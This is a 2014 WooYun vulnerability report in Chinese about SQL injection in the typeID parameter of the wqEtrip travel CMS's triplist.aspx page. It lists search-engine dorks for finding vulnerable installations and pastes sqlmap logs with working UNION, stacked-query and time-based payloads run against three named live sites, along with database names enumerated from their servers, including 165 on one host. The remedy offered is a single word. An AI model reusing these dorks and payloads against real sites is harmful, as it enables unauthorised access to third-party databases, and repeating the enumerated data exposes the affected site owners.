当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059907

漏洞标题:网奇cms旗下某系统存在sql注入(应该是通杀的,数据库权限都好大)

相关厂商:wqetrip.com

漏洞作者: Mosuan

提交时间:2014-05-09 14:46

修复时间:2014-08-04 14:48

公开时间:2014-08-04 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-09: 细节已通知厂商并且等待厂商处理中
2014-05-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-08: 细节向核心白帽子及相关领域专家公开
2014-07-18: 细节向普通白帽子公开
2014-07-28: 细节向实习白帽子公开
2014-08-04: 细节向公众公开

简要描述:

sql

详细说明:

http://v5.wqetrip.com/ 网奇旗下的网奇E游通。
之前我也发过这个洞,当时测试不完全,这次我随机选了几个站点测试,发现是通杀的,演示站点已经被Ko。
由于我不懂.net代码审计,加上这套系统是收费的,所以我是黑盒测试的,从演示站点发现的,然后开始挖掘关键词。
关键词

inurl:/triplist.aspx?typeID=1
inurl:/triplist.aspx?typeID=
Powered by wqEtrip1.5
Powered by 网奇E游通


搜索到的网站在后缀上加入去除掉所有的路径,在网站路径加上triplist.aspx?typeID=
1,就比如:http://v5.wqetrip.com/triplist.aspx?typeID=1 这样。
http://v5.wqetrip.com/triplist.aspx?typeID=1 测试sql。

注入地址:http://v5.wqetrip.com/triplist.aspx?typeID=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 14:34:52
[14:34:52] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\v5.wqetrip.com\session' as session file
[14:34:52] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from sessio
n file
[14:34:52] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: typeID
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: typeID=-6968 UNION SELECT CHAR(58)+CHAR(118)+CHAR(120)+CHAR(122)+CH
AR(58)+CHAR(68)+CHAR(104)+CHAR(105)+CHAR(86)+CHAR(79)+CHAR(88)+CHAR(98)+CHAR(110
)+CHAR(78)+CHAR(102)+CHAR(58)+CHAR(103)+CHAR(118)+CHAR(104)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: typeID=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: typeID=1 WAITFOR DELAY '0:0:5'--
---
[14:34:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[14:34:52] [INFO] fetching database names
[14:34:52] [INFO] the SQL query used returns 9 entries
[14:34:52] [INFO] resumed: "etrip20v1"
[14:34:52] [INFO] resumed: "master"
[14:34:52] [INFO] resumed: "model"
[14:34:52] [INFO] resumed: "msdb"
[14:34:52] [INFO] resumed: "qianzhi"
[14:34:52] [INFO] resumed: "ReportServer"
[14:34:52] [INFO] resumed: "ReportServerTempDB"
[14:34:52] [INFO] resumed: "SRDY"
[14:34:52] [INFO] resumed: "tempdb"
available databases [9]:
[*] etrip20v1
[*] master
[*] model
[*] msdb
[*] qianzhi
[*] ReportServer
[*] ReportServerTempDB
[*] SRDY
[*] tempdb
[14:34:52] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\v5.wqetrip.com'
[*] shutting down at 14:34:52


www.free-100.net/triplist.aspx?typeID=1

注入地址:www.free-100.net/triplist.aspx?typeID=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 14:21:09
[14:21:09] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.free-100.net\session' as session file
[14:21:09] [INFO] testing connection to the target url
[14:21:12] [INFO] testing if the url is stable, wait a few seconds
[14:21:16] [INFO] url is stable
[14:21:16] [INFO] testing if GET parameter 'typeID' is dynamic
[14:21:20] [INFO] confirming that GET parameter 'typeID' is dynamic
[14:21:21] [INFO] GET parameter 'typeID' is dynamic
[14:21:22] [INFO] heuristic test shows that GET parameter 'typeID' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[14:21:22] [INFO] testing sql injection on GET parameter 'typeID'
[14:21:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[14:21:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[14:22:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:22:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:22:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:22:43] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[14:22:48] [INFO] target url appears to have 1 columns in query
[14:22:49] [INFO] GET parameter 'typeID' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'typeID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 41 HTTP(s) requ
ests:
---
Place: GET
Parameter: typeID
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: typeID=-4388 UNION SELECT CHAR(58)+CHAR(102)+CHAR(101)+CHAR(101)+CH
AR(58)+CHAR(114)+CHAR(73)+CHAR(119)+CHAR(76)+CHAR(121)+CHAR(99)+CHAR(111)+CHAR(7
4)+CHAR(71)+CHAR(100)+CHAR(58)+CHAR(110)+CHAR(115)+CHAR(120)+CHAR(58)--
---
[14:24:12] [INFO] testing Microsoft SQL Server
[14:24:13] [INFO] confirming Microsoft SQL Server
[14:24:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[14:24:18] [INFO] fetching database names
[14:24:21] [INFO] the SQL query used returns 21 entries
[14:24:22] [INFO] retrieved: "123"
[14:24:23] [INFO] retrieved: "AdventureWorks"
[14:24:26] [INFO] retrieved: "AdventureWorksDW"
[14:24:27] [INFO] retrieved: "AsiaITData"
[14:24:30] [INFO] retrieved: "dbcenter"
[14:24:31] [INFO] retrieved: "dsfsdfds"
[14:24:31] [INFO] retrieved: "ejstc"
[14:24:32] [INFO] retrieved: "free100net"
[14:24:32] [INFO] retrieved: "huayitangDB_f"
[14:24:32] [INFO] retrieved: "kaiji123"
[14:24:32] [INFO] retrieved: "logos-china"
[14:24:33] [INFO] retrieved: "master"
[14:24:33] [INFO] retrieved: "model"
[14:24:33] [INFO] retrieved: "msdb"
[14:24:33] [INFO] retrieved: "ReportServer"
[14:24:34] [INFO] retrieved: "ReportServerTempDB"
[14:24:34] [INFO] retrieved: "sadsadas"
[14:24:35] [INFO] retrieved: "sdfsd_f"
[14:24:35] [INFO] retrieved: "SH_DataInfo"
[14:24:35] [INFO] retrieved: "tempdb"
[14:24:36] [INFO] retrieved: "ZhenXinWeb"
available databases [21]:
[*] 123
[*] AdventureWorks
[*] AdventureWorksDW
[*] AsiaITData
[*] dbcenter
[*] dsfsdfds
[*] ejstc
[*] free100net
[*] huayitangDB_f
[*] kaiji123
[*] logos-china
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] sadsadas
[*] sdfsd_f
[*] SH_DataInfo
[*] tempdb
[*] ZhenXinWeb


http://www.lzql.cn/triplist.aspx?typeID=1 我草- -给跪了,这尼玛跨了多少数据库啊,是不是这个系统都是需要数据库权限大才可以安装?由于中文版sqlmap显示不了那么多注入信息,我只复制了数据库名称吧- -

available databases [165]:
[*] agency060
[*] ahlyf
[*] airticketii123
[*] babyguai
[*] baiduzhidao
[*] baoxinyong
[*] bestprin
[*] biouc
[*] bxwda
[*] c2011
[*] caojialu
[*] cddaronghe
[*] cdrrr
[*] cdsnqyjxh
[*] cdxrgg
[*] ceping
[*] cf555
[*] cfeng
[*] changyunhu
[*] cnb4093_db
[*] CompanyInfo
[*] corman
[*] cpccc020701
[*] ctxq
[*] czdzgldwdina
[*] dbai
[*] dbhgofly
[*] dbjincaishen
[*] dfgj
[*] dgchenghong
[*] dgfengdi
[*] dggy1688
[*] dgqxchl
[*] dianyiagent
[*] ditiejituan
[*] dmtpu
[*] dxfcy
[*] Dxl_DB
[*] ebrer
[*] enjoylifesql
[*] enterprise
[*] erp_vivi39
[*] esoyo
[*] fangyuan730
[*] fangyuan993
[*] feisuwangluo
[*] fengda168
[*] fenteng147259
[*] fredhome
[*] fxjike
[*] fxklsl
[*] ghjjDB
[*] gjhftp
[*] gyhxwz
[*] haot9
[*] hengxinkj
[*] hfz18
[*] hgjcapesql
[*] hjt521
[*] hlycn
[*] hmongsql
[*] hnwds
[*] hyjd
[*] iiiiitg
[*] incent
[*] itjjhsqlname
[*] janeyoga
[*] jiangning
[*] jyg61
[*] kh3110750
[*] kxrcw
[*] l0vbagsyes
[*] langhong
[*] lblyw
[*] lcex
[*] lckd
[*] lfspDB
[*] lgdbuser
[*] llweb
[*] lmx211
[*] lsgyhx
[*] lzqldata
[*] maijiabiji
[*] master
[*] mbdb
[*] mfago
[*] mingxinchayuan
[*] mlypzs
[*] model
[*] mrwlkj
[*] msdb
[*] mydata
[*] myweb
[*] ngs18
[*] njmyjlh
[*] opera
[*] pmj20130913
[*] q411972736
[*] qczwsql
[*] qingyangSQL
[*] qipei909
[*] qitiannew
[*] qlx1
[*] qsh521010
[*] QTHUI
[*] quickeyeunion
[*] RelocationServerKFQ
[*] saixinmlm
[*] salemanage
[*] scggch
[*] sclangqiao
[*] sclfz
[*] shikeyy
[*] shujuku1
[*] simmanage
[*] skyskyskysky
[*] sq_lcw
[*] szcl119
[*] szstz
[*] szydby
[*] TeachSite
[*] teaseedmeal
[*] tempdb
[*] test360b
[*] testDemoNc
[*] toushi
[*] tqjhadmin
[*] tt11wd66
[*] tuzhichina
[*] tuzhichina2
[*] tuzhichina3
[*] ty001
[*] tyjfrdb
[*] uhedu
[*] walker1
[*] wazinijiuchuanwoma
[*] web2005
[*] weilaifu
[*] wenxuerenwu
[*] wpdy
[*] wqgk2013
[*] wxtzdq
[*] wynn
[*] xiang88db2013
[*] xianhong
[*] xinyue
[*] y3jny
[*] yanwu
[*] ygxcz
[*] yl28scdzsm
[*] yl28schyzs
[*] yndkauto
[*] youxianwang
[*] yqzrr
[*] yuanlunfood
[*] yumikou
[*] yunfx
[*] yunnanlyw
[*] zgyangzi
[*] zhengxing
[*] zhonghefu
[*] zjmould
[*] zlfive
[*] zscar
[*] zyhost001
[14:40:46] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.lzql.cn'
[*] shutting down at 14:40:46


漏洞证明:

看详细说明- -

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-04 14:48

厂商回复:

最新状态:

暂无